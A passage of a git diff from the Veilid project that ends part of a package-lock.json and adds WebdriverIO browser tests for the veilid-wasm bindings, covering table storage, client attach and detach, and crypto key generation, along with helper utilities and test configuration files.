"https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/ws": { + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "dev": true, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dev": true, + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-unparser": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz", + "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==", + "dev": true, + "dependencies": { + "camelcase": "^6.0.0", + "decamelize": "^4.0.0", + "flat": "^5.0.2", + "is-plain-obj": "^2.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-unparser/node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yargs-unparser/node_modules/decamelize": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz", + "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yargs-unparser/node_modules/is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/yarn-install": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/yarn-install/-/yarn-install-1.0.0.tgz", + "integrity": "sha512-VO1u181msinhPcGvQTVMnHVOae8zjX/NSksR17e6eXHRveDvHCF5mGjh9hkN8mzyfnCqcBe42LdTs7bScuTaeg==", + "dev": true, + "dependencies": { + "cac": "^3.0.3", + "chalk": "^1.1.3", + "cross-spawn": "^4.0.2" + }, + "bin": { + "yarn-install": "bin/yarn-install.js", + "yarn-remove": "bin/yarn-remove.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yarn-install/node_modules/ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yarn-install/node_modules/ansi-styles": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", + "integrity": "sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yarn-install/node_modules/chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==", + "dev": true, + "dependencies": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yarn-install/node_modules/cross-spawn": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-4.0.2.tgz", + "integrity": "sha512-yAXz/pA1tD8Gtg2S98Ekf/sewp3Lcp3YoFKJ4Hkp5h5yLWnKVTDU0kwjKJ8NDCYcfTLfyGkzTikst+jWypT1iA==", + "dev": true, + "dependencies": { + "lru-cache": "^4.0.1", + "which": "^1.2.9" + } + }, + "node_modules/yarn-install/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/yarn-install/node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/yarn-install/node_modules/lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", + "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dev": true, + "dependencies": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "node_modules/yarn-install/node_modules/strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==", + "dev": true, + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yarn-install/node_modules/supports-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", + "integrity": "sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/yarn-install/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/yarn-install/node_modules/yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==", + "dev": true + }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", + "dev": true, + "dependencies": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + }, + "node_modules/yn": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz", + "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/yocto-queue": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-1.0.0.tgz", + "integrity": "sha512-9bnSc/HEW2uRy67wc+T8UwauLuPJVn28jb+GtJY16iiKWyvmYJRXVT4UamsAEGQfPohgr2q4Tq0sQbQlxTfi1g==", + "dev": true, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zip-stream": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-5.0.1.tgz", + "integrity": "sha512-UfZ0oa0C8LI58wJ+moL46BDIMgCQbnsb+2PoiJYtonhBsMh2bq1eRBVkvjfVsqbEHd9/EgKPUuL9saSSsec8OA==", + "dev": true, + "dependencies": { + "archiver-utils": "^4.0.1", + "compress-commons": "^5.0.1", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">= 12.0.0" + } + } + } +} diff --git a/veilid-wasm/tests/package.json b/veilid-wasm/tests/package.json new file mode 100644 index 00000000..bf725717 --- /dev/null +++ b/veilid-wasm/tests/package.json @@ -0,0 +1,23 @@ +{ + "name": "veilid-wasm-tests", + "private": true, + "type": "module", + "engines": { + "node": ">=18" + }, + "devDependencies": { + "@wdio/browser-runner": "^8.16.4", + "@wdio/cli": "^8.16.4", + "@wdio/mocha-framework": "^8.16.3", + "@wdio/spec-reporter": "^8.16.3", + "ts-node": "^10.9.1", + "typescript": "^5.2.2", + "veilid-wasm": "file:../pkg", + "vite-plugin-wasm": "^3.2.2" + }, + "scripts": { + "test": "wdio run ./wdio.conf.ts", + "test:headless": "WDIO_HEADLESS=true npm run test", + "start": "tsc && npm run test:headless" + } +} \ No newline at end of file diff --git a/veilid-wasm/tests/src/VeilidTable.test.ts b/veilid-wasm/tests/src/VeilidTable.test.ts new file mode 100644 index 00000000..68a81f0b --- /dev/null +++ b/veilid-wasm/tests/src/VeilidTable.test.ts @@ -0,0 +1,99 @@ +import { expect } from '@wdio/globals'; + +import { + veilidCoreInitConfig, + veilidCoreStartupConfig, +} from './utils/veilid-config'; + +import { VeilidTableDB, veilidClient } from 'veilid-wasm'; +import { marshall, unmarshall } from './utils/marshalling-utils'; + +const TABLE_NAME = 'some-table'; +const TABLE_COLS = 1; + +describe('VeilidTable', () => { + before('veilid startup', async () => { + veilidClient.initializeCore(veilidCoreInitConfig); + await veilidClient.startupCore((_update) => { + // if (_update.kind === 'Log') { + // console.log(_update.message); + // } + }, JSON.stringify(veilidCoreStartupConfig)); + }); + + after('veilid shutdown', async () => { + await veilidClient.shutdownCore(); + }); + + it('should open and close a table', async () => { + const table = new VeilidTableDB(TABLE_NAME, TABLE_COLS); + await table.openTable(); + + const keys = await table.getKeys(0); + expect(keys.length).toBe(0); + + table.free(); + }); + + describe('table operations', () => { + let table: VeilidTableDB; + + before('create table', async () => { + table = new VeilidTableDB(TABLE_NAME, TABLE_COLS); + await table.openTable(); + }); + + after('free table', async () => { + table.free(); + }); + + it('should have no keys', async () => { + const keys = await table.getKeys(0); + expect(keys.length).toBe(0); + }); + + describe('store/load', () => { + const key = 'test-key with unicode 🚀'; + const value = 'test value with unicode 🚀'; + + it('should store value', async () => { + await table.store(0, marshall(key), marshall(value)); + }); + + it('should load value', async () => { + const storedValue = await table.load(0, marshall(key)); + expect(storedValue).toBeDefined(); + expect(unmarshall(storedValue!)).toBe(value); + }); + + it('should have key in list of keys', async () => { + const keys = await table.getKeys(0); + const decodedKeys = keys.map(unmarshall); + expect(decodedKeys).toEqual([key]); + }); + }); + + describe('transactions', () => { + it('should commit a transaction', async () => { + let transaction = await table.createTransaction(); + + const key = 'tranaction-key🔥'; + const first = 'first🅱'; + const second = 'second✔'; + const third = 'third📢'; + + transaction.store(0, marshall(key), marshall(first)); + transaction.store(0, marshall(key), marshall(second)); + transaction.store(0, marshall(key), marshall(third)); + + await transaction.commit(); + + const storedValue = await table.load(0, marshall(key)); + expect(storedValue).toBeDefined(); + expect(unmarshall(storedValue!)).toBe(third); + + transaction.free(); + }); + }); + }); +}); diff --git a/veilid-wasm/tests/src/utils/marshalling-utils.ts b/veilid-wasm/tests/src/utils/marshalling-utils.ts new file mode 100644 index 00000000..3adfd64e --- /dev/null +++ b/veilid-wasm/tests/src/utils/marshalling-utils.ts @@ -0,0 +1,45 @@ +// TextEncoder/TextDecoder are used to solve for "The Unicode Problem" https://stackoverflow.com/a/30106551 + +export function marshall(data: string) { + const byteString = bytesToString(new TextEncoder().encode(data)); + return base64UrlEncode(byteString); +} + +export function unmarshall(b64: string) { + const byteString = base64UrlDecode(b64); + return new TextDecoder().decode(stringToBytes(byteString)); +} + +function base64UrlEncode(data: string) { + return removeBase64Padding(btoa(data)); +} + +function base64UrlDecode(b64: string) { + return atob(addBase64Padding(b64)); +} + +function removeBase64Padding(b64: string) { + // URL encode characters, and remove `=` padding. + return b64.replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_'); +} + +function addBase64Padding(b64: string) { + // URL decode characters + b64 = b64.replace(/-/g, '+').replace(/_/g, '/'); + // Add base64 padding characters (`=`) + const rem = b64.length % 4; + if (rem === 2) { + return `${b64}==`; + } else if (rem === 3) { + return `${b64}=`; + } + return b64; +} + +function stringToBytes(binString: string) { + return Uint8Array.from(binString as any, (m) => (m as any).codePointAt(0)); +} + +function bytesToString(bytes: Uint8Array) { + return Array.from(bytes, (x: number) => String.fromCodePoint(x)).join(''); +} diff --git a/veilid-wasm/tests/src/utils/veilid-config.ts b/veilid-wasm/tests/src/utils/veilid-config.ts new file mode 100644 index 00000000..7dc53d20 --- /dev/null +++ b/veilid-wasm/tests/src/utils/veilid-config.ts @@ -0,0 +1,140 @@ +import type { VeilidWASMConfig } from 'veilid-wasm'; + +export const veilidCoreInitConfig: VeilidWASMConfig = { + logging: { + api: { + enabled: true, + level: 'Debug', + }, + performance: { + enabled: false, + level: 'Info', + logs_in_timings: false, + logs_in_console: false, + }, + }, +}; + +export const veilidCoreStartupConfig = { + program_name: 'veilid-wasm-test', + namespace: '', + capabilities: { + disable: [], + }, + protected_store: { + allow_insecure_fallback: true, + always_use_insecure_storage: true, + directory: '', + delete: false, + device_encryption_key_password: 'some-user-secret-value', + // "new_device_encryption_key_password": "an-updated-user-secret-value" + }, + table_store: { + directory: '', + delete: false, + }, + block_store: { + directory: '', + delete: false, + }, + network: { + connection_initial_timeout_ms: 2000, + connection_inactivity_timeout_ms: 60000, + max_connections_per_ip4: 32, + max_connections_per_ip6_prefix: 32, + max_connections_per_ip6_prefix_size: 56, + max_connection_frequency_per_min: 128, + client_whitelist_timeout_ms: 300000, + reverse_connection_receipt_time_ms: 5000, + hole_punch_receipt_time_ms: 5000, + network_key_password: '', + disable_capabilites: [], + routing_table: { + node_id: [], + node_id_secret: [], + bootstrap: ['ws://bootstrap.veilid.net:5150/ws'], + limit_over_attached: 64, + limit_fully_attached: 32, + limit_attached_strong: 16, + limit_attached_good: 8, + limit_attached_weak: 4, + }, + rpc: { + concurrency: 0, + queue_size: 1024, + max_timestamp_behind_ms: 10000, + max_timestamp_ahead_ms: 10000, + timeout_ms: 5000, + max_route_hop_count: 4, + default_route_hop_count: 1, + }, + dht: { + max_find_node_count: 20, + resolve_node_timeout_ms: 10000, + resolve_node_count: 1, + resolve_node_fanout: 4, + get_value_timeout_ms: 10000, + get_value_count: 3, + get_value_fanout: 4, + set_value_timeout_ms: 10000, + set_value_count: 5, + set_value_fanout: 4, + min_peer_count: 20, + min_peer_refresh_time_ms: 60000, + validate_dial_info_receipt_time_ms: 2000, + local_subkey_cache_size: 128, + local_max_subkey_cache_memory_mb: 256, + remote_subkey_cache_size: 1024, + remote_max_records: 65536, + remote_max_subkey_cache_memory_mb: 256, + remote_max_storage_space_mb: 0, + }, + upnp: true, + detect_address_changes: true, + restricted_nat_retries: 0, + tls: { + certificate_path: '', + private_key_path: '', + connection_initial_timeout_ms: 2000, + }, + application: { + https: { + enabled: false, + listen_address: ':5150', + path: 'app', + }, + http: { + enabled: false, + listen_address: ':5150', + path: 'app', + }, + }, + protocol: { + udp: { + enabled: false, + socket_pool_size: 0, + listen_address: '', + }, + tcp: { + connect: false, + listen: false, + max_connections: 32, + listen_address: '', + }, + ws: { + connect: true, + listen: true, + max_connections: 16, + listen_address: ':5150', + path: 'ws', + }, + wss: { + connect: true, + listen: false, + max_connections: 16, + listen_address: '', + path: 'ws', + }, + }, + }, +}; diff --git a/veilid-wasm/tests/src/utils/wait-utils.ts b/veilid-wasm/tests/src/utils/wait-utils.ts new file mode 100644 index 00000000..f32b3969 --- /dev/null +++ b/veilid-wasm/tests/src/utils/wait-utils.ts @@ -0,0 +1,3 @@ +export const waitForMs = (milliseconds: number) => { + return new Promise((resolve) => setTimeout(resolve, milliseconds)); +}; diff --git a/veilid-wasm/tests/src/veilidClient.test.ts b/veilid-wasm/tests/src/veilidClient.test.ts new file mode 100644 index 00000000..c3d04059 --- /dev/null +++ b/veilid-wasm/tests/src/veilidClient.test.ts @@ -0,0 +1,59 @@ +import { expect } from '@wdio/globals'; + +import { + veilidCoreInitConfig, + veilidCoreStartupConfig, +} from './utils/veilid-config'; + +import { VeilidState, veilidClient } from 'veilid-wasm'; +import { waitForMs } from './utils/wait-utils'; + +describe('veilidClient', () => { + before('veilid startup', async () => { + veilidClient.initializeCore(veilidCoreInitConfig); + await veilidClient.startupCore((_update) => { + // if (_update.kind === 'Log') { + // console.log(_update.message); + // } + }, JSON.stringify(veilidCoreStartupConfig)); + }); + + after('veilid shutdown', async () => { + await veilidClient.shutdownCore(); + }); + + it('should print version', async () => { + const version = veilidClient.versionString(); + expect(typeof version).toBe('string'); + expect(version.length).toBeGreaterThan(0); + }); + + it('should attach and detach', async () => { + await veilidClient.attach(); + await waitForMs(2000); + await veilidClient.detach(); + }); + + describe('kitchen sink', () => { + before('attach', async () => { + await veilidClient.attach(); + await waitForMs(2000); + }); + after('detach', () => veilidClient.detach()); + + let state: VeilidState; + + it('should get state', async () => { + state = await veilidClient.getState(); + expect(state.attachment).toBeDefined(); + expect(state.config.config).toBeDefined(); + expect(state.network).toBeDefined(); + }); + + it('should call debug command', async () => { + const response = await veilidClient.debug('txtrecord'); + expect(response).toBeDefined(); + expect(response.length).toBeGreaterThan(0); + }); + }); +}); diff --git a/veilid-wasm/tests/src/veilidCrypto.test.ts b/veilid-wasm/tests/src/veilidCrypto.test.ts new file mode 100644 index 00000000..e2f37574 --- /dev/null +++ b/veilid-wasm/tests/src/veilidCrypto.test.ts @@ -0,0 +1,38 @@ +import { expect } from '@wdio/globals'; + +import { + veilidCoreInitConfig, + veilidCoreStartupConfig, +} from './utils/veilid-config'; + +import { veilidClient, veilidCrypto } from 'veilid-wasm'; + +describe('veilidCrypto', () => { + before('veilid startup', async () => { + veilidClient.initializeCore(veilidCoreInitConfig); + await veilidClient.startupCore((_update) => { + // if (_update.kind === 'Log') { + // console.log(_update.message); + // } + }, JSON.stringify(veilidCoreStartupConfig)); + }); + + after('veilid shutdown', async () => { + await veilidClient.shutdownCore(); + }); + + it('should list crypto kinds', () => { + const kinds = veilidCrypto.validCryptoKinds(); + const bestKind = veilidCrypto.bestCryptoKind(); + + expect(typeof bestKind).toBe('string'); + expect(kinds.includes(bestKind)).toBe(true); + }); + + it('should generate key pair', async () => { + const bestKind = veilidCrypto.bestCryptoKind(); + const keypair = veilidCrypto.generateKeyPair(bestKind); + expect(typeof keypair).toBe('string'); + // TODO: fix TypeScript return type of generateKeyPair to return string instead of KeyPair + }); +}); diff --git a/veilid-wasm/tests/tsconfig.json b/veilid-wasm/tests/tsconfig.json new file mode 100644 index 00000000..db93d3aa --- /dev/null +++ b/veilid-wasm/tests/tsconfig.json @@ -0,0 +1,24 @@ +{ + "compilerOptions": { + "moduleResolution": "node", + "module": "ESNext", + "target": "es2022", + "types": [ + "node", + "@wdio/globals/types", + "expect-webdriverio", + "@wdio/mocha-framework", + "@wdio/browser-runner" + ], + "skipLibCheck": true, + "noEmit": true, + "allowImportingTsExtensions": true, + "resolveJsonModule": true, + "isolatedModules": true, + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true + }, + "include": ["src"] +} diff --git a/veilid-wasm/tests/vite.config.ts b/veilid-wasm/tests/vite.config.ts new file mode 100644 index 00000000..31898604 --- /dev/null +++ b/veilid-wasm/tests/vite.config.ts @@ -0,0 +1,5 @@ +import { defineConfig } from 'vite'; +import wasm from 'vite-plugin-wasm'; +export default defineConfig({ + plugins: [wasm()], +}); diff --git a/veilid-wasm/tests/wdio.conf.ts b/veilid-wasm/tests/wdio.conf.ts new file mode 100644 index 00000000..200ba2b8 --- /dev/null +++ b/veilid-wasm/tests/wdio.conf.ts @@ -0,0 +1,300 @@ +import type { Options } from '@wdio/types'; +export const config: Options.Testrunner = { + // + // ==================== + // Runner Configuration + // ==================== + // WebdriverIO supports running e2e tests as well as unit and component tests. + runner: ['browser', { viteConfig: './vite.config.ts' }], + autoCompileOpts: { + autoCompile: true, + tsNodeOpts: { + project: './tsconfig.json', + typeCheck: true, + }, + }, + + // + // ================== + // Specify Test Files + // ================== + // Define which test specs should run. The pattern is relative to the directory + // of the configuration file being run. + // + // The specs are defined as an array of spec files (optionally using wildcards + // that will be expanded). The test for each spec file will be run in a separate + // worker process. In order to have a group of spec files run in the same worker + // process simply enclose them in an array within the specs array. + // + // If you are calling `wdio` from an NPM script (see https://docs.npmjs.com/cli/run-script), + // then the current working directory is where your `package.json` resides, so `wdio` + // will be called from there. + // + specs: ['./src/**/*.test.ts'], + // Patterns to exclude. + exclude: [ + // 'path/to/excluded/files' + ], + // + // ============ + // Capabilities + // ============ + // Define your capabilities here. WebdriverIO can run multiple capabilities at the same + // time. Depending on the number of capabilities, WebdriverIO launches several test + // sessions. Within your capabilities you can overwrite the spec and exclude options in + // order to group specific specs to a specific capability. + // + // First, you can define how many instances should be started at the same time. Let's + // say you have 3 different capabilities (Chrome, Firefox, and Safari) and you have + // set maxInstances to 1; wdio will spawn 3 processes. Therefore, if you have 10 spec + // files and you set maxInstances to 10, all spec files will get tested at the same time + // and 30 processes will get spawned. The property handles how many capabilities + // from the same test should run tests. + // + maxInstances: process.env.WDIO_HEADLESS ? 10 : 1, + // + // If you have trouble getting all important capabilities together, check out the + // Sauce Labs platform configurator - a great tool to configure your capabilities: + // https://saucelabs.com/platform/platform-configurator + // + capabilities: [ + { + // capabilities for local browser web tests + browserName: 'firefox', // or "chrome", "microsoftedge", "safari" + 'moz:firefoxOptions': { + args: process.env.WDIO_HEADLESS ? ['-headless'] : [], + }, + }, + // { + // browserName: 'chrome', + // 'goog:chromeOptions': { + // args: process.env.WDIO_HEADLESS ? ['headless', 'disable-gpu'] : [], + // }, + // }, + ], + + // + // =================== + // Test Configurations + // =================== + // Define all options that are relevant for the WebdriverIO instance here + // + // Level of logging verbosity: trace | debug | info | warn | error | silent + logLevel: 'warn', + // + // Set specific log levels per logger + // loggers: + // - webdriver, webdriverio + // - @wdio/browserstack-service, @wdio/devtools-service, @wdio/sauce-service + // - @wdio/mocha-framework, @wdio/jasmine-framework + // - @wdio/local-runner + // - @wdio/sumologic-reporter + // - @wdio/cli, @wdio/config, @wdio/utils + // Level of logging verbosity: trace | debug | info | warn | error | silent + // logLevels: { + // webdriver: 'info', + // '@wdio/appium-service': 'info' + // }, + // + // If you only want to run your tests until a specific amount of tests have failed use + // bail (default is 0 - don't bail, run all tests). + bail: 0, + // + // Set a base URL in order to shorten url command calls. If your `url` parameter starts + // with `/`, the base url gets prepended, not including the path portion of your baseUrl. + // If your `url` parameter starts without a scheme or `/` (like `some/path`), the base url + // gets prepended directly. + baseUrl: '', + // + // Default timeout for all waitFor* commands. + waitforTimeout: 10000, + // + // Default timeout in milliseconds for request + // if browser driver or grid doesn't send response + connectionRetryTimeout: 120000, + // + // Default request retries count + connectionRetryCount: 3, + // + // Test runner services + // Services take over a specific job you don't want to take care of. They enhance + // your test setup with almost no effort. Unlike plugins, they don't add new + // commands. Instead, they hook themselves up into the test process. + // services: [], + // + // Framework you want to run your specs with. + // The following are supported: Mocha, Jasmine, and Cucumber + // see also: https://webdriver.io/docs/frameworks + // + // Make sure you have the wdio adapter package for the specific framework installed + // before running any tests. + framework: 'mocha', + // + // The number of times to retry the entire specfile when it fails as a whole + // specFileRetries: 1, + // + // Delay in seconds between the spec file retry attempts + // specFileRetriesDelay: 0, + // + // Whether or not retried spec files should be retried immediately or deferred to the end of the queue + // specFileRetriesDeferred: false, + // + // Test reporter for stdout. + // The only one supported by 